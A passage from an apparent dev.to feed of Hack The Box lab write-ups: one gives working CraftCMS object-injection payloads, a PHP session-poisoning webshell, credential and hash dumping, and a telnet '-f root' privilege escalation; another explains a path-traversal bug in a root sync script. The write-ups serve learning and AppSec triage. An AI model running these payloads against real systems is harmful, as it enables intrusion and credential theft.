    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GuzzleHttp&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Psr7&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FnStream"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[[]],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_fn_close"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phpinfo"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;csrfTokenValue&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"HTTP %{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"PHP Version"&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Reverse Shell That Wouldn't Come Home
&lt;/h2&gt;

&lt;p&gt;With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host:  instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.&lt;/p&gt;

&lt;p&gt;Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.&lt;/p&gt;

&lt;p&gt;I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual RCE via Session Poisoning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1. Poison a PHP session file with a webshell:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; webshell_cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://orion.htb/index.php?p=admin/dashboard&amp;amp;a=&amp;lt;?=eval(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_GET['cmd']);die()?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-D&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: -g stops curl treating [] in $_GET['cmd'] as glob syntax.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yii&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;rbac&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;PhpManager"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"itemFile"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/var/lib/php/sessions/sess_&amp;lt;id&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=system("id");'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: cmd must be a PHP statement, not a raw shell command.&lt;br&gt;
&lt;strong&gt;Note&lt;/strong&gt;: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Credential Harvesting
&lt;/h2&gt;

&lt;p&gt;Craft's .env is world-readable to www-data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# cmd=system("cat%20/var/www/html/craft/.env");&lt;/span&gt;
&lt;span class="c"&gt;# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"system('mysql -u root -pSuperSecureCraft123Pass! orion -e &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;select username, email, password from users;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 2&amp;gt;&amp;amp;1');"&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/%2B/g'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=eval(base64_decode('&lt;/span&gt;&lt;span class="nv"&gt;$B64&lt;/span&gt;&lt;span class="s2"&gt;'));"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got bcrypt hash for &lt;a href="mailto:adam@orion.htb"&gt;adam@orion.htb&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cracking — Plan A Failed
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 3200 ...
&lt;span class="c"&gt;# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Switched to John:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bcrypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;span class="c"&gt;# cracked in ~19s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse → SSH as adam.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation: CVE-2026-24061
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;     &lt;span class="c"&gt;# telnet on 127.0.0.1:23&lt;/span&gt;
telnet &lt;span class="nt"&gt;--version&lt;/span&gt;   &lt;span class="c"&gt;# GNU inetutils 2.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;USER env var passed unsanitized to login(1). -f root skips authentication:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"-f root"&lt;/span&gt; telnet &lt;span class="nt"&gt;-a&lt;/span&gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instant root shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.&lt;/li&gt;
&lt;li&gt;Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.&lt;/li&gt;
&lt;li&gt;.env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.&lt;/li&gt;
&lt;li&gt;Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.&lt;/li&gt;
&lt;li&gt;Internal-only daemons are still root paths once you have any foothold.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;p&gt;Flags redacted per standard practice for retired-box writeups.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>appsec</category>
      <category>pentesting</category>
      <category>ctf</category>
    </item>
    <item>
      <title>What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sat, 25 Jul 2026 21:53:23 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</link>
      <guid>https://dev.to/pyhacksecgp/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</guid>
      <description>&lt;p&gt;I do AppSec triage for a living — mostly reading through Bugcrowd submissions&lt;br&gt;
and reasoning about whether a reported issue is actually exploitable, and how&lt;br&gt;
badly. So when I pick weekend HTB boxes to work through, I'm not really&lt;br&gt;
looking for the hardest exploit dev challenge I can find. I'm looking for&lt;br&gt;
boxes that exercise the same instincts I need on a Tuesday afternoon at work:&lt;br&gt;
reading an unfamiliar application's surface area, noticing what's &lt;em&gt;not&lt;/em&gt;&lt;br&gt;
supposed to be reachable, and following a thread of small mistakes to their&lt;br&gt;
logical end.&lt;/p&gt;

&lt;p&gt;This weekend's box (an easy-rated Linux machine on HTB) turned out to be a&lt;br&gt;
genuinely great case study for that, so I wanted to write up what I actually&lt;br&gt;
learned rather than just "I did the box."&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon taught me more than the target's services
&lt;/h2&gt;

&lt;p&gt;The initial port scan only turned up two ports — SSH and a webserver — and&lt;br&gt;
the webserver redirected to a hostname I hadn't seen before. That alone is a&lt;br&gt;
small but useful reminder: a redirect to an unfamiliar hostname is a signal to&lt;br&gt;
go add that hostname to your resolver and actually look at what's there,&lt;br&gt;
not just note "HTTP open" and move on.&lt;/p&gt;

&lt;p&gt;Once I was looking at the real site, a vhost fuzzing pass (ffuf, with the&lt;br&gt;
default/junk response size filtered out) turned up two more subdomains that&lt;br&gt;
weren't linked from the main site anywhere. One turned out to be a self-hosted&lt;br&gt;
git server, the other an internal business application. Neither would have&lt;br&gt;
been found by just clicking around the visible site. &lt;strong&gt;Attack surface and&lt;br&gt;
visible surface are not the same thing&lt;/strong&gt;, and I don't think I'll ever stop&lt;br&gt;
being reminded of that.&lt;/p&gt;
&lt;h2&gt;
  
  
  The finding I'll actually remember: secrets survive "deletion"
&lt;/h2&gt;

&lt;p&gt;The git server had a public repo containing infrastructure config for the&lt;br&gt;
business app — a Docker Compose file and an environment file. The environment&lt;br&gt;
file, as it currently existed, had its password field blanked out. Good&lt;br&gt;
hygiene, right?&lt;/p&gt;

&lt;p&gt;Except &lt;code&gt;git log -p&lt;/code&gt; on that file showed an earlier commit where the real&lt;br&gt;
value was still there in plaintext. Someone had added the credential, realized&lt;br&gt;
the mistake, and "fixed" it by blanking the field in a new commit — without&lt;br&gt;
realizing (or without rotating the credential either way) that the value was&lt;br&gt;
still permanently readable by anyone who cloned the repo and looked at its&lt;br&gt;
history.&lt;/p&gt;

&lt;p&gt;This is, I think, the most broadly useful lesson from the whole exercise:&lt;br&gt;
&lt;strong&gt;a secret that ever touches a commit is compromised the moment that commit&lt;br&gt;
is pushed anywhere with more than one set of eyes on it.&lt;/strong&gt; Blanking it in a&lt;br&gt;
later commit does nothing for anyone who can run &lt;code&gt;git log&lt;/code&gt;. The only real fix&lt;br&gt;
is treating the credential as burned and rotating it — full history rewrites&lt;br&gt;
are a nice-to-have at best, not a substitute.&lt;/p&gt;

&lt;p&gt;I now have &lt;code&gt;git log -p --all | grep -iE "password|secret|key|token"&lt;/code&gt; as a&lt;br&gt;
near-automatic step any time I get read access to a git repo during recon,&lt;br&gt;
lab or otherwise.&lt;/p&gt;
&lt;h2&gt;
  
  
  Credential reuse, twice over
&lt;/h2&gt;

&lt;p&gt;That leaked password worked directly against the admin login of the business&lt;br&gt;
application, once paired with an email address I found from an entirely&lt;br&gt;
different piece of recon — a "careers" page had a job posting listing a&lt;br&gt;
hiring manager's contact email. Worth remembering that OSINT on a target&lt;br&gt;
isn't only infrastructure enumeration; sometimes it's just reading the&lt;br&gt;
website like a human would and noting who's named where.&lt;/p&gt;

&lt;p&gt;The application itself happened to be running a version with a recently&lt;br&gt;
disclosed, authenticated remote code execution vulnerability, reachable&lt;br&gt;
through a file-attachment feature. The validation preventing arbitrary file&lt;br&gt;
uploads was purely client-side (extension checking in the browser), so the&lt;br&gt;
actual exploitation was: rename the payload to an allowed extension, upload&lt;br&gt;
it, then use an intercepting proxy to rename it back to something executable&lt;br&gt;
before the request actually reached the server. I've now seen this exact&lt;br&gt;
pattern — client-side-only extension validation — in more than one context,&lt;br&gt;
both in labs and in real bug reports I've triaged. It's essentially&lt;br&gt;
decorative security if there's no matching server-side check.&lt;/p&gt;

&lt;p&gt;Once I had code execution as the web server's low-privilege user, a &lt;em&gt;second&lt;/em&gt;&lt;br&gt;
config file on the box (this time the CMS's own database configuration) had&lt;br&gt;
yet another password — different from the git-leaked one — which worked&lt;br&gt;
directly for SSH access as a real system user. Two independent instances of&lt;br&gt;
password reuse across service boundaries, in a single chain. It's a small&lt;br&gt;
thing to say "don't reuse passwords across services," but seeing it exploited&lt;br&gt;
twice back to back in one box is a much better teacher than the advice on its&lt;br&gt;
own ever is.&lt;/p&gt;
&lt;h2&gt;
  
  
  The privilege escalation: why &lt;code&gt;os.path.join()&lt;/code&gt; isn't a safety net
&lt;/h2&gt;

&lt;p&gt;This is the part I most wanted to write about, because it's a genuinely&lt;br&gt;
transferable code-review lesson, not just a CTF trick.&lt;/p&gt;

&lt;p&gt;Enumerating scheduled jobs on the box turned up a systemd timer running a&lt;br&gt;
Python script as root every minute. The script's purpose was mundane:&lt;br&gt;
sync files out of specially-flagged "template" git repositories into a&lt;br&gt;
staging directory, presumably so they could be used elsewhere on the system.&lt;br&gt;
The vulnerable logic looked, in spirit, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;files_from_git_ls_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;staging_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get_blob_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bug is that &lt;code&gt;filepath&lt;/code&gt; comes straight from &lt;code&gt;git ls-tree&lt;/code&gt; output with zero&lt;br&gt;
validation, and &lt;code&gt;os.path.join()&lt;/code&gt; will happily honor &lt;code&gt;../&lt;/code&gt; sequences in its&lt;br&gt;
second argument — it does not sanitize traversal, it just joins path&lt;br&gt;
components. If &lt;code&gt;filepath&lt;/code&gt; were something like&lt;br&gt;
&lt;code&gt;../../../../root/.ssh/authorized_keys&lt;/code&gt;, the resulting &lt;code&gt;target&lt;/code&gt; resolves&lt;br&gt;
&lt;em&gt;outside&lt;/em&gt; &lt;code&gt;staging_dir&lt;/code&gt; entirely.&lt;/p&gt;

&lt;p&gt;The catch is that Git's own CLI won't normally let you create a tracked file&lt;br&gt;
whose path contains &lt;code&gt;..&lt;/code&gt; — that protection lives in the porcelain commands&lt;br&gt;
(&lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;), not in the underlying object format itself. So the&lt;br&gt;
actual technique was to build the raw git objects by hand: hash and&lt;br&gt;
zlib-compress a blob and a sequence of tree objects directly into&lt;br&gt;
&lt;code&gt;.git/objects&lt;/code&gt;, chain them into a tree structure whose path components&lt;br&gt;
included the traversal sequence, wrap it in a commit object, and point a&lt;br&gt;
branch ref directly at that commit — bypassing the CLI's safety checks&lt;br&gt;
entirely because I was never asking the CLI to validate a &lt;code&gt;..&lt;/code&gt; path; I was&lt;br&gt;
constructing the low-level objects that represent one.&lt;/p&gt;

&lt;p&gt;Once pushed to a repository flagged as a template, the vulnerable sync script&lt;br&gt;
picked it up, joined its untrusted path onto the staging directory with no&lt;br&gt;
validation, and wrote a file straight through to a sensitive location outside&lt;br&gt;
the intended directory — running as root, which meant the write itself&lt;br&gt;
carried root privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The generalizable takeaway:&lt;/strong&gt; path-joining functions across virtually every&lt;br&gt;
language (&lt;code&gt;os.path.join&lt;/code&gt; in Python, &lt;code&gt;path.join&lt;/code&gt; in Node, &lt;code&gt;Path.Combine&lt;/code&gt; in&lt;br&gt;
.NET) treat &lt;code&gt;..&lt;/code&gt; as a normal path component and resolve it — they are not&lt;br&gt;
sanitization functions, and none of them will stop a traversal on their own.&lt;br&gt;
Any time a path component originates from data you don't fully control — a&lt;br&gt;
filename from an upload, a path from a tarball, a path from a git tree,&lt;br&gt;
anything — the resulting joined path needs to be canonicalized (e.g.&lt;br&gt;
&lt;code&gt;os.path.realpath()&lt;/code&gt;) and explicitly checked to confirm it's still inside the&lt;br&gt;
intended base directory before it's touched. I now treat this as one of the&lt;br&gt;
first things I look for when reviewing file-handling code in triage, right&lt;br&gt;
alongside the more commonly-flagged injection points.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing thought
&lt;/h2&gt;

&lt;p&gt;Nothing about this box required novel exploit development. Every step was a&lt;br&gt;
recognizable category of mistake: a secret lingering in history, a password&lt;br&gt;
reused where it shouldn't have been, client-side-only validation, and an&lt;br&gt;
unsanitized path join. That's exactly why I think easy-to-medium HTB boxes are&lt;br&gt;
worth doing deliberately rather than skipping to the hard ones — the value&lt;br&gt;
isn't in the difficulty of any single step, it's in seeing how ordinary&lt;br&gt;
mistakes chain together into full compromise, which is precisely the shape&lt;br&gt;
most real-world findings take.&lt;/p&gt;

&lt;p&gt;Tools used: &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;ffuf&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, Burp Suite, &lt;code&gt;git&lt;/code&gt;, a small custom Python&lt;br&gt;
script for raw git object construction, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>appsec</category>
      <category>python</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:15:58 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</link>
      <guid>https://dev.to/pyhacksecgp/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




